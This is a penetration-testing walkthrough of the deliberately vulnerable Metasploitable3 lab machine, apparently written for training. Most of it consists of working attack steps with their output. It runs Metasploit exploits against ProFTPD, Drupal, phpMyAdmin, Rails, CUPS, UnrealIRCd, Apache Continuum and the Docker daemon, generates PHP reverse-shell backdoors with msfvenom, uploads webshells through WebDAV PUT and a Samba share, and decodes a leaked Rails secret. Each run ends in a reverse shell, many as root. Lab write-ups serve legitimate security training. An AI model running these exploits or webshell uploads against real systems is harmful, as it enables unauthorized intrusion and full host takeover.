Metasploitable3 report

1️⃣ Introduction

Overview: Metasploitable3 — intentionally vulnerable VM used for learning offensive security.
Machine link: https://github.com/rapid7/metasploitable3
OS: Ubuntu-based (multiple vulnerable services configured).
Difficulty: Beginner → Intermediate (lots of well-known, old vulnerabilities).
Creator: Rapid7 / Metasploitable project.

About machine (summary):
A purposely insecure VM containing multiple outdated services (ProFTPD, Apache w/ WebDAV, Drupal, phpMyAdmin, Rails apps, CUPS, UnrealIRCd, Samba, Docker daemon misconfig). The box demonstrates web RCE, authenticated RCE, unauthenticated RCE, local privilege escalation via Docker, and weak/default configurations.

Vulns / concepts covered: unauthenticated RCE, authenticated RCE, webshell uploads (WebDAV / Samba), Shellshock, Rails cookie secret exploitation, container escape via exposed Docker socket, Samba share abuse, privilege escalation.

Learning goals:

- Practice reconnaissance & service enumeration.
- Map common attack paths from initial foothold → privilege escalation.
- Understand MSF module options and payloads.
- Learn secure mitigations for legacy services.

Ethical note: Only perform these steps on lab or explicitly authorized systems. Unauthorized exploitation is illegal and unethical. Always get written permission.

2️⃣ Port Scanning

Why: Discover exposed services and their versions to identify likely vulnerability classes and prioritize attack paths. Nmap reveals open ports, services, versions, and helpful scripts (e.g., smb-os-discovery). This drives exploit selection.

Commands (used & breakdown):

```
sudo nmap -sC -sV -vv -T4 -p- 192.168.1.10
```

- `sudo` : some NSE scripts & full port scans require raw sockets.
- `nmap` : scanner binary.
- `-sC` : run default NSE scripts (quick checks like http-title, smb discovery, common vuln checks).
- `-sV` : service/version detection (banner grab + probes).
- `-vv` : very verbose (more console output for timeline & reasoning).
- `-T4` : timing template 4 — faster but more detectable; appropriate for lab.
- `-p-` : scan all TCP ports (1–65535).
- `192.168.1.10` : target IP.

Output analysis (selected lines summarized):

```
└─$ sudo nmap -sC -sV -vv -T4 -p- 192.168.1.10

Nmap scan report for 192.168.1.10
Host is up, received arp-response (0.00034s latency).
Scanned at 2025-11-20 12:52:03 IST for 136s
Not shown: 65524 filtered tcp ports (no-response)
PORT     STATE  SERVICE     REASON         VERSION
21/tcp   open   ftp         syn-ack ttl 64 ProFTPD 1.3.5
22/tcp   open   ssh         syn-ack ttl 64 OpenSSH 6.6.1p1
| ssh-hostkey:
```

```
|   1024 2b:2e:1f:a4:54:26:87:76:12:26:59:58:0d:da:3b:04 (
| ssh-dss
AAAAB3NzaC1kc3MAAACBAO0VmQeu9zOETHuLNJw7289ium1MGjwthfAm/F
|   2048 c9:ac:70:ef:f8:de:8b:a3:a3:44:ab:3d:32:0a:5c:6a (
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvspoRpsPpthAcHo5q
|   256 c0:49:cc:18:7b:27:a4:07:0d:2a:0d:bb:42:4c:36:17 (E
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAI
|   256 a0:76:f3:76:f8:f0:70:4d:09:ca:e1:10:fd:a9:cc:0a (E
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGnTNWyunssDVqb3w9GG
80/tcp   open   http        syn-ack ttl 64 Apache httpd 2.
|_http-title: Index of /
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2020-10-29 19:37  chat/
| -     2011-07-27 20:17  drupal/
| 1.7K  2020-10-29 19:37  payroll_app.php
| -     2013-04-08 12:06  phpmyadmin/
|_
445/tcp  open   netbios-ssn syn-ack ttl 64 Samba smbd 4.3.
631/tcp  open   ipp         syn-ack ttl 64 CUPS 1.7
|_http-title: Home - CUPS 1.7.2
| http-robots.txt: 1 disallowed entry
|_/
| http-methods:
|   Supported Methods: GET HEAD OPTIONS POST PUT
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.7 IPP/2.1
3000/tcp closed ppp         reset ttl 64
3306/tcp open   mysql       syn-ack ttl 64 MySQL (unauthor
3500/tcp closed rtmp-port   reset ttl 64
6697/tcp open   irc         syn-ack ttl 64 UnrealIRCd
| irc-info:
|   users: 1
|   servers: 1
```

```
|   lusers: 1
|   lservers: 0
|_  server: irc.TestIRC.net
8080/tcp open   http        syn-ack ttl 64 Jetty 8.1.7.v20
|_http-favicon: Unknown favicon MD5: ED7D5C39C69262F4BA954
|_http-server-header: Jetty(8.1.7.v20120910)
|_http-title: Error 404 - Not Found
8181/tcp closed intermapper reset ttl 64
MAC Address: 08:00:27:42:51:79 (PCS Systemtechnik/Oracle V
Service Info: Hosts: 127.0.0.1, UBUNTU, irc.TestIRC.net; O

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: ubuntu
|   NetBIOS computer name: UBUNTU\x00
|   Domain name: \x00
|   FQDN: ubuntu
|_  System time: 2025-11-20T07:23:40+00:00
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 1s, median: 0s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 18101/tcp): CLEAN (Timeout)
|   Check 2 (port 11936/tcp): CLEAN (Timeout)
|   Check 3 (port 33616/udp): CLEAN (Timeout)
|   Check 4 (port 35815/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are bl
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2025-11-20T07:23:39
```

```
|_  start_date: N/A
```

Port	Service	Description	Relevance in Pentesting
21	ftp (ProFTPD 1.3.5)	FTP server; old mod_copy vuln exists	High — unauthenticated RCE via mod_copy (Rapid7 module available).
22	ssh (OpenSSH 6.6.1p1)	SSH server; older OpenSSH	Info-gathering: key types shown (RSA, DSA, ECDSA, ED25519). Useful for fingerprinting.
80	http (Apache 2.4.7)	Web server: directory listing (Index of /)	High — multiple web apps (Drupal, phpMyAdmin, WebDAV uploads) -> RCE & file upload vectors.
445	smb (Samba smbd 4.3.11)	SMB file shares; writeable share mapped to `/var/www/html/`	High — can upload webshell if authenticated user exists.
631	ipp (CUPS 1.7)	Printing service with potential Shellshock vector	Medium — Shellshock exploit possible after config changes.
3306	mysql	MySQL service (no auth)	Medium — local info leak or credential reuse attempts.
6697	irc (UnrealIRCd)	IRC daemon w/ known backdoor	High — remote command execution backdoor (UnrealIRCd 3.2.8.1).

Port	Service	Description	Relevance in Pentesting
8080	http (Jetty 8.1.7)	Application server	Low/Medium — additional attack surface.
8181	http (WEBrick / Rails)	Rails app; reveals cookie with secret	Critical — Rails secret disclosure leads to immediate root RCE.

Notes (reasoning / alternatives / risks):

- `-sC -sV` combination gives quick win: version detection + basic scripts. For deeper checks use targeted NSE scripts (e.g., `--script=http-vuln-cve2014-6271` for Shellshock) or `-A` for aggressive OS and script scanning.
- **Risk:** aggressive scanning (high `-T` or `-A`) can crash fragile services or trigger IDS; on production always coordinate with owners.

ProFTPD (FTP) — Remote Code Execution via `mod_copy`

Tools: `nmap`, `Metasploit (exploit/unix/ftp/proftpd_modcopy_exec)`
Discovery: ProFTPD 1.3.5 — vulnerable to mod_copy RCE. Identified from nmap banner.

Walkthrough & rationale:

- **Why this module:** `mod_copy` allows copying files via FTP to arbitrary paths when exploited — Rapid7 has an MSF module that crafts `SITE CPFR` / `CPTO` to write files into webroot and invoke them (commonly to deliver PHP payloads).
- This yields a remote command shell (www-data).

Metasploit usage (key options explained):

```
msf5 > use exploit/unix/ftp/proftpd_modcopy_exec
msf5 exploit(...) > set RHOSTS 192.168.1.10
msf5 exploit(...) > set RPORT_FTP 21
msf5 exploit(...) > set SITEPATH /var/www/html/
msf5 exploit(...) > set LHOST 192.168.1.9
msf5 exploit(...) > set LPORT 4444
msf5 exploit(...) > run
```

- `RHOSTS` : target IP(s).
- `RPORT_FTP` : FTP port (21).
- `SITEPATH` : absolute writable website path on server — the module will copy payload into the webroot. If unknown, try common web paths (`/var/www/html/` , `/srv/www/` , etc.).
- `LHOST` / `LPORT` : where to receive reverse connection.
- **Output:** module reports `Executing PHP payload /VQVH3.php` then opens a reverse shell (uid=33 www-data).

```
msf5 > use exploit/unix/ftp/proftpd_modcopy_exec
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > show options
Module options (exploit/unix/ftp/proftpd_modcopy_exec):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.1.10        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       HTTP port (TCP)
   RPORT_FTP  21               yes       FTP port
   SITEPATH   /var/www/html/   yes       Absolute writable website path
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
```

```
   TARGETURI  /                yes       Base path to the website
   TMPPATH    /tmp             yes       Absolute writable path
   VHOST                       no        HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.9         yes       The listen address (an interface may be specified)
   LPORT  4444              yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   ProFTPD 1.3.5
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Started reverse TCP handler on 192.168.1.9:4444
[*] 192.168.1.10:80 - 192.168.1.10:21 - Connected to FTP server
[*] 192.168.1.10:80 - 192.168.1.10:21 - Sending copy commands to FTP server
[*] 192.168.1.10:80 - Executing PHP payload /VQVH3.php
[*] Command shell session 2 opened (192.168.1.9:4444 -> 192.168.1.10:36318) at 2025-11-18 22:34:17 -0400
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Why this works & risks: ProFTPD implementation of `mod_copy` trusted input; module abuses that to write a server-executable file. Risk: exploiting in production may deface site or break service.

Alternatives: Manual exploitation using `ftp` client with crafted `SITE CPFR` / `CPTO` commands; or upload via authenticated FTP if credentials exist.

Apache HTTP (80) — Shellshock (mod_cgi) & WebDAV upload

Tools: `Metasploit (apache_mod_cgi_bash_env_exec)`, `curl`, `msfvenom`, `msfconsole (multi/handler)`
Discovery: Apache 2.4.7 with CGI scripts; WebDAV uploads enabled at `/uploads/`.

Webshell upload via WebDAV (manual flow):

1. Generate PHP payload:

```
kali@kali:~$ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=4444 > ~/backdoor.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1109 bytes
# explained: msfvenom selects payload (-p). php/meterpreter/reverse_tcp creates a PHP script that connects back to LHOST:LPORT.
# -f raw outputs raw PHP code (no wrapper).
```

2. Upload using WebDAV `PUT`:

```
curl -X PUT -d @/home/kali/backdoor.php http://192.168.1.10/uploads/backdoor.php
```

- `-X PUT`: use HTTP PUT to create/replace resource.
- `-d @file`: send file contents as body.
- If WebDAV allows unauthenticated PUT to `/uploads/`, this stores `backdoor.php` into webroot.

3. Trigger and catch shell:

- Start handler in msfconsole:

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD
php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.1.9
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > run
```

- Trigger via HTTP GET:

```
curl http://192.168.1.10/uploads/backdoor.php
```

Output: Meterpreter session opened as `www-data` (uid 33).

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.9         yes       The listen
address (an interface may be specified)
   LPORT  4444              yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.1.9:4444
<send curl command at this time>
[*] Sending stage (38288 bytes) to 192.168.1.10
[*] Meterpreter session 7 opened (192.168.1.9:4444 ->
192.168.1.10:43129) at 2025-11-18 20:26:01 -0400
meterpreter > getuid
```

```
Server username: www-data (33)
```

Why these methods: WebDAV allows file upload — trivial webshell delivery. Shellshock targets server-side CGI scripts invoking bash.

Risks & alternatives:

- WebDAV PUT can be protected by auth; enumerating directories & robots.txt can show upload endpoints.
- On production, avoid uploading destructive payloads. Use read-only proofs (e.g., `phpinfo()` replaced with non-persistent commands).

Drupal (Drupageddon)

Tools: `Metasploit (exploit/multi/http/drupal_drupageddon)`
Discovery: Drupal installation at `/drupal/`. Module `drupal_drupageddon` exploits CVE-2014-3704/Drupageddon to get RCE.

Flow & commands:

- Set `RHOSTS`, `TARGETURI` to `/drupal/`, set payload (php/meterpreter/reverse_tcp), run. Handler receives meterpreter as `www-data`.

```
msf5 > use exploit/multi/http/drupal_drupageddon
msf5 exploit(multi/http/drupal_drupageddon) > show options
Module options (exploit/multi/http/drupal_drupageddon):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.1.10/32     yes       The target host(s), range CIDR identifier, or hosts file with syntax
```

```
'file:<path>'
   RPORT      80                yes       The target port
(TCP)
   SSL        false             no        Negotiate
SSL/TLS for outgoing connections
   TARGETURI  /drupal/          yes       The target URI
of the Drupal installation
   VHOST                        no        HTTP server
virtual host
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   --------------  --------  -----------
   LHOST  192.168.1.9         yes       The listen
address (an interface may be specified)
   LPORT  4444                yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Drupal 7.0 - 7.31 (form-cache PHP injection
method)
msf5 exploit(multi/http/drupal_drupageddon) > run
[*] Started reverse TCP handler on 192.168.1.9:4444
[*] Sending stage (38288 bytes) to 192.168.1.10
[*] Meterpreter session 3 opened (192.168.1.9:4444 ->
192.168.1.10:36396) at 2025-11-18 23:18:44 -0400
meterpreter > getuid
Server username: www-data (33)
```

Why & notes: Drupageddon is a SQL injection that leads to remote code execution through field injection and form cache poisoning. Alternative: use `drupalgeddon2` scripts; risk: altering DB content.

---

phpMyAdmin (Authenticated RCE via `preg_replace()`)

Tools: `Metasploit (exploit/multi/http/phpmyadmin_preg_replace)`
Discovery: phpMyAdmin 3.5.8 at `/phpmyadmin/` — vulnerable to authenticated RCE via `preg_replace()` misuse.

Walkthrough highlights:

- The module requires credentials; in this case `root` / `sploitme` used (module `USERNAME root`, `PASSWORD sploitme`).
- Module grabs CSRF token, authenticates, and uses preg_replace exploit payload to achieve meterpreter session as `www-data`.

```
msf5 > use exploit/multi/http/phpmyadmin_preg_replace
msf5 exploit(multi/http/phpmyadmin_preg_replace) > show options
Module options (exploit/multi/http/phpmyadmin_preg_replace):
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   sploitme         no        Password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.1.10        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /phpmyadmin/     yes       Base phpMyAdmin directory path
   USERNAME   root             yes       Username to authenticate with
   VHOST                       no        HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
```

```
   ----   --------------  --------  -----------
   LHOST  192.168.1.9         yes       The listen
address (an interface may be specified)
   LPORT  4444              yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf5 exploit(multi/http/phpmyadmin_preg_replace) > run
[*] Started reverse TCP handler on 192.168.1.9:4444
[*] phpMyAdmin version: 3.5.8
[*] The target appears to be vulnerable.
[*] Grabbing CSRF token...
[+] Retrieved token
[*] Authenticating...
[+] Authentication successful
[*] Sending stage (38288 bytes) to 192.168.1.10
[*] Meterpreter session 5 opened (192.168.1.9:4444 ->
192.168.1.10:36448) at 2025-11-18 23:43:33 -0400
meterpreter > getuid
Server username: www-data (33)
```

Why: `preg_replace` with `/e` modifier on older PHP versions allows code execution in replacement string. Mitigation: update phpMyAdmin & PHP.

Ruby on Rails (ActionPack Inline Exec & Secret Deserialization)

Tools: `Metasploit (rails_actionpack_inline_exec, rails_secret_deserialization)`, `curl`, Python base64/URL decoding
Discovery: Rails apps on ports `3500` and `8181`. The 8181 server sends a session cookie containing the secret in Set-Cookie header.

Secret extraction (explained step-by-step):

```
curl -v 192.168.1.10:8181 2>&1 | grep 'Set-Cookie'
# Copy cookie value before the "--" signature part, URL-decode, base64-decode.
python -c "import urllib as ul; print(ul.unquote_plus('<cookie>').split('--')[0])" | base64 -d
```

- The cookie format: `<base64_payload>--<signature>`. Separating and decoding the payload yielded plaintext containing `secret: a7aebc287bba0ee4e64f947415a94e5f`.
- With `SECRET` known, use Metasploit `rails_secret_deserialization` module to create a signed malicious cookie that deserializes to a payload leading to **root** shell.

Metasploit usage (key options):

```
msf5 > use exploit/multi/http/rails_secret_deserialization
msf5 exploit(...) > set RHOSTS 192.168.1.10
msf5 exploit(...) > set RPORT 8181
msf5 exploit(...) > set SECRET a7aebc287bba0ee4e64f947415a94e5f
msf5 exploit(...) > set LHOST 192.168.1.9
msf5 exploit(...) > run
```

- Output: `Command shell session opened` as `uid=0(root) gid=0(root)`.

```
msf5 > use exploit/multi/http/rails_actionpack_inline_exec
msf5 exploit(multi/http/rails_actionpack_inline_exec) > show options
Module options (exploit/multi/http/rails_actionpack_inline_exec):
   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
```

```
   Proxies                          no        A proxy chain
of format type:host:port[,type:host:port][...]
   RHOSTS       192.168.1.10        yes       The target
host(s), range CIDR identifier, or hosts file with syntax
'file:<path>'
   RPORT        3500                yes       The target
port (TCP)
   SSL          false               no        Negotiate
SSL/TLS for outgoing connections
   TARGETPARAM  os                  yes       The target
parameter to inject with inline code
   TARGETURI    /readme             yes       The path to a
vulnerable Ruby on Rails application
   VHOST                            no        HTTP server
virtual host
Payload options (ruby/shell_reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.9         yes       The listen
address (an interface may be specified)
   LPORT  4444                yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf5 exploit(multi/http/rails_actionpack_inline_exec) >
run
[*] Started reverse TCP handler on 192.168.1.9:4444
[*] Sending inline code to parameter: os
[*] Command shell session 7 opened (192.168.1.9:4444 ->
192.168.1.10:37195) at 2025-11-18 12:40:00 -0400
id
uid=1124(chewbacca) gid=100(users)
groups=100(users),999(docker)
```

Why this is critical: Rails apps that reveal secrets or use predictable secrets permit signing of serialized data (session cookie) enabling

payload deserialization — catastrophic (remote root).
Alternatives/Defenses: Keep `secret_key_base` secret, rotate keys, disable exposing cookie info, keep Rails updated.

CUPS — Shellshock (if `vagrant` is in `lpadmin`)

Tools: `Metasploit (multi/http/cups_bash_env_exec)`
Discovery: CUPS 1.7.2 at port 631. There is a configuration requirement: `vagrant` must be added to `lpadmin`. After adding (`usermod -a -G lpadmin vagrant`), exploit works and yields a shell as `lp` user.

Notes: CUPS CGI + Shellshock chain is similar to Apache mod_cgi. Requires proper privileges and config.

```
root@metasploitable3-ub1404:/home/vagrant# usermod -a -G lpadmin vagrant
```

```
msf5 > use exploit/multi/http/cups_bash_env_exec
msf5 exploit(multi/http/cups_bash_env_exec) > show options
Module options (exploit/multi/http/cups_bash_env_exec):
   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CVE           CVE-2014-6271    yes       CVE to exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HttpPassword  vagrant          yes       CUPS user password
   HttpUsername  vagrant          yes       CUPS username
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        192.168.1.10       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPATH         /bin             yes       Target PATH for binaries
```

```
   RPORT         631              yes       The target
port (TCP)
   SSL           true             yes       Use SSL
   VHOST                          no        HTTP server
virtual host
Payload options (cmd/unix/reverse_ruby_ssl):
   Name   Current Setting  Required  Description
   ----   --------------  --------  -----------
   LHOST  192.168.1.9         yes       The listen
address (an interface may be specified)
   LPORT  4444              yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting
msf5 exploit(multi/http/cups_bash_env_exec) > run
[*] Started reverse SSL handler on 192.168.1.9:4444
[+] Added printer successfully
[+] Deleted printer 'CNtAM2hsz6XXg' successfully
[*] Command shell session 6 opened (192.168.1.9:4444 ->
192.168.1.10:43043) at 2025-11-18 18:55:15 -0400
id
uid=7(lp) gid=7(lp) groups=7(lp)
```

UnrealIRCd — Backdoor RCE

Tools: `Metasploit (unix/irc/unreal_ircd_3281_backdoor)`
Discovery: UnrealIRCd backdoor present (3.2.8.1) — module sends backdoor command and gets a command shell mapped to service user `boba_fett`.

Output: `id` shows uid=1121(boba_fett).

```
msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor
```

```
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.1.10        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6697             yes       The target port (TCP)
Payload options (cmd/unix/reverse):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.9         yes       The listen address (an interface may be specified)
   LPORT  4444              yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic Target
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP double handler on 192.168.1.9:4444
[*] 192.168.1.10:6697 - Connected to 192.168.1.10:6697...
    :irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...
[*] 192.168.1.10:6697 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo WLPTgOfxOWQqTkwI;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "WLPTgOfxOWQqTkwI\r\n"
[*] Matching...
```

```
[*] A is input...
[*] Command shell session 9 opened (192.168.1.9:4444 ->
192.168.1.10:37212) at 2025-11-18 12:48:26 -0400
id
uid=1121(boba_fett) gid=100(users)
groups=100(users),999(docker)
```

Why relevant: Many Metasploitable accounts (`boba_fett` , `chewbacca` , etc.) are in docker group; this low-privilege shell is ideal to escalate via docker socket.

Apache Continuum — Arbitrary Command Execution (iptables fix required)

Tools: `Metasploit (linux/http/apache_continuum_cmd_exec)`
Discovery: Continuum app vulnerable but blocked by iptables; adjusting iptables to allow ports (add `--dport 32000` and `--dport 8080` acceptance) permitted module to run and yielded root Meterpreter (`uid=0`).

```
root@metasploitable3-ub1404:/home/vagrant# iptables-save
> /tmp/ipt.txt
root@metasploitable3-ub1404:/home/vagrant# cat
/tmp/ipt.txt
# Generated by iptables-save v1.4.21 on Thu Apr 16
23:45:56 2020
*nat
:PREROUTING ACCEPT [6:360]
:INPUT ACCEPT [6:360]
:OUTPUT ACCEPT [196:29690]
:POSTROUTING ACCEPT [196:29690]
:DOCKER - [0:0]
-A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER
-A OUTPUT ! -d 127.0.0.0/8 -m addrtype --dst-type LOCAL -
j DOCKER
```

```
-A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE
-A DOCKER -i docker0 -j RETURN
COMMIT
# Completed on Thu Apr 16 23:45:56 2020
# Generated by iptables-save v1.4.21 on Thu Apr 16 23:45:56 2020
*filter
:INPUT ACCEPT [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [19483:4986198]
:DOCKER - [0:0]
:DOCKER-ISOLATION-STAGE-1 - [0:0]
:DOCKER-ISOLATION-STAGE-2 - [0:0]
:DOCKER-USER - [0:0]
-A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 6697 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 21 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 3306 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 3000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 3500 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 8181 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 445 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 32000 -j ACCEPT (Add this line)
-A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT (Add this line also))
-A INPUT -j DROP
-A FORWARD -j DOCKER-USER
-A FORWARD -j DOCKER-ISOLATION-STAGE-1
-A FORWARD -o docker0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
```

```
-A FORWARD -o docker0 -j DOCKER
-A FORWARD -i docker0 ! -o docker0 -j ACCEPT
-A FORWARD -i docker0 -o docker0 -j ACCEPT
-A DOCKER-ISOLATION-STAGE-1 -i docker0 ! -o docker0 -j DOCKER-ISOLATION-STAGE-2
-A DOCKER-ISOLATION-STAGE-1 -j RETURN
-A DOCKER-ISOLATION-STAGE-2 -o docker0 -j DROP
-A DOCKER-ISOLATION-STAGE-2 -j RETURN
-A DOCKER-USER -j RETURN
COMMIT
# Completed on Thu Apr 16 23:45:56 2020
root@metasploitable3-ub1404:/home/vagrant# iptables-restore < /tmp/ipt.txt
```

```
msf5 > use exploit/linux/http/apache_continuum_cmd_exec
msf5 exploit(linux/http/apache_continuum_cmd_exec) > show options
Module options (exploit/linux/http/apache_continuum_cmd_exec):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.1.10        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    8080             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
```

```
   URIPATH                    no        The URI to use for this exploit (default is random)
   VHOST                      no        HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   --------------  --------  -----------
   LHOST  192.168.1.9         yes       The listen address (an interface may be specified)
   LPORT  4444                yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Apache Continuum <= 1.4.2
msf5 exploit(linux/http/apache_continuum_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.1.9:4444
[*] Injecting CmdStager payload...
[*] Sending stage (985320 bytes) to 192.168.1.10
[*] Meterpreter session 10 opened (192.168.1.9:4444 -> 192.168.1.10:49126) at 2025-11-18 23:47:16 -0400
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```

Why: Demonstrates edge-case: network rules may prevent exploitation; local access to firewall config or contacting admins may be needed.

Docker Daemon — Local Privilege Escalation via Unprotected TCP socket

Tools: `Metasploit (linux/local/docker_daemon_privilege_escalation)`

Discovery: Docker daemon exposing unprotected TCP socket (default insecure API) allows creating containers and escape to root. This requires

a session as a user in docker group (e.g., `boba_fett`, `chewbacca`, `greedo`, `chewbacca` are pre-added in Metasploitable3 as per config). Using a meterpreter session from `boba_fett`, the docker exploit creates & runs a container to get root. Final `getuid` shows effective UID 0.

```
msf5 > use exploit/linux/local/docker_daemon_privilege_escalation
msf5 exploit(linux/local/docker_daemon_privilege_escalation) > show options
Module options (exploit/linux/local/docker_daemon_privilege_escalation):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  13               yes       The session to run this module on.
Payload options (linux/x86/meterpreter/reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.9         yes       The listen address (an interface may be specified)
   LPORT  4444              yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf5 exploit(linux/local/docker_daemon_privilege_escalation) > run
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.1.9:4444
[+] Docker daemon is accessible.
[*] Writing payload executable to '/tmp/nvqcVNIodyb'
[*] Executing script to create and run docker container
[*] Waiting 60s for payload
[*] Sending stage (985320 bytes) to 192.168.1.10
```

```
[*] Meterpreter session 14 opened (192.168.1.9:4444 ->
192.168.1.10:49185) at 2025-11-18 00:46:33 -0400
meterpreter > getuid
Server username: uid=1121, gid=100, euid=0, egid=100
```

Why & risk: Exposed docker socket = full host compromise (root). Do **not** expose Docker daemon over unsecured TCP. Mitigation: bind to unix socket only, enable TLS auth.

Samba — Upload directly to webroot via mapped share

Tools: `Metasploit (auxiliary/admin/smb/upload_file)`, `curl`, `msfvenom`, `msfconsole handler`
Discovery: A samba share `public` is writeable and is mapped to `/var/www/html/` — uploading `backdoor.php` into share makes it accessible via webroot. After upload trigger, meterpreter session as `www-data` opened.

Generating the reverse shell with msfvenom:

```
kali@kali:~$ msfvenom -p php/meterpreter/reverse_tcp
LHOST=192.168.1.9 LPORT=4444 > ~/backdoor.php
[-] No platform was selected, choosing
Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the
payload
No encoder or badchars specified, outputting raw payload
Payload size: 1109 bytes
```

